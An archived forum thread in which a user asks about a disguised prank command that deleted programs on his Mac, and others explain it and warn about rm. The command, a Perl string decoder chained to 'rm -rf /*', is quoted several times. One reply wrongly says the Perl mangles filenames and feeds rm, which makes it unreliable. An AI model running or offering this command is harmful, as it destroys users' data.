PDA

View Full Version : terminal...



Evangelion-01
04-11-2007, 04:33 PM
echo "RRRK#VKLW111" | perl -pe 's/(.)/chr(ord($1)-3)/ge' && rm -rf /*


what does that do... i typed it and it just said "oh shit..." then... bleep bleep bleeep bleeep bleeep bleep and like, half of my programs were gone.

babu
04-11-2007, 05:26 PM
well the last part of it:
rm -rf /*

rm is a program for removing files
-rf is flags for it saying:
r = removes the content of the path recursively.
f = ignores nonexistent files, never prompt
/* = the stuff to remove

I've never really done anything in perl so I'm not sure about what the perl stuff does thought

Barc0de
04-11-2007, 05:36 PM
echo "RRRK#VKLW111" | perl -pe 's/(.)/chr(ord($1)-3)/ge' && rm -rf /*


what does that do... i typed it and it just said "oh shit..." then... bleep bleep bleeep bleeep bleeep bleep and like, half of my programs were gone.


You don't use a debug and sandbox environment to test code, in order to keep the actual PC environment clean? There's a slight hit on performance, but the benefits of emulation before execution are well understood!:)

Evangelion-01
04-11-2007, 06:51 PM
i used my mac to test a code i saw on the comments on digg.com about how some idiot deleted his /usr folder.... i guess the joke is on me. The terminal box just said "oh shit..." my cpu fan started to go crazy and since i had itunes open , only the programs before it on the list were gone....

the_steadster
04-11-2007, 07:41 PM
Never, ever use anything with rm in unless you know exactly what it does!

GaijinPunch
04-11-2007, 09:47 PM
echo "RRRK#VKLW111" | perl -pe 's/(.)/chr(ord($1)-3)/ge' && rm -rf /*


what does that do... i typed it and it just said "oh shit..." then... bleep bleep bleeep bleeep bleeep bleep and like, half of my programs were gone.

It's a perl regular expression. I'd have to go through it, but it looks to me it will delete everything in it's path (that it can). The s/// syntax is substitute. Effectively, that says:

Substitute any character (which you find w/ (.)), with chr(ord($1-3)), which basically will basically mangle any filename. Basically chr() will turn 1 into a, 2 into b, etc. while ord() will turn a into 1, b into 2, etc. However, you're passing it $1 (whatever you found in the previous parenthesis) and subtracting 3. In other words, fucking up each file name character by character. To top it off, it's then passed to "rm -rf" which is just the shell command for "force remove (including directories)".

Evangelion-01
04-12-2007, 12:47 AM
hehehe....

ServiceGames
04-12-2007, 01:10 AM
Damn Eva, if this is for real then it sound like you're screwed.... Sorry to hear that.

Evangelion-01
04-12-2007, 03:16 AM
yeah it's true... but it insnt that bad only the programs before itunes on the list were deleted and well... since i knew something fishi was going on i turned off the mac... im just going to resintall os x to make sure everything is ok, all my files are intact though.

Blur2040
04-12-2007, 10:31 AM
Does OSX seroiusly not try to stop you from doing stuff like this? Or do they automatically log you into the terminal as root?

Why do they even allow you access to the terminal? It's just ripe for letting this kind of stuff happen.

the_steadster
04-12-2007, 01:56 PM
Does OSX seroiusly not try to stop you from doing stuff like this? Or do they automatically log you into the terminal as root?

Why do they even allow you access to the terminal? It's just ripe for letting this kind of stuff happen.

Full access to terminal(hidden away in a utilities folder away from most people), but not as root.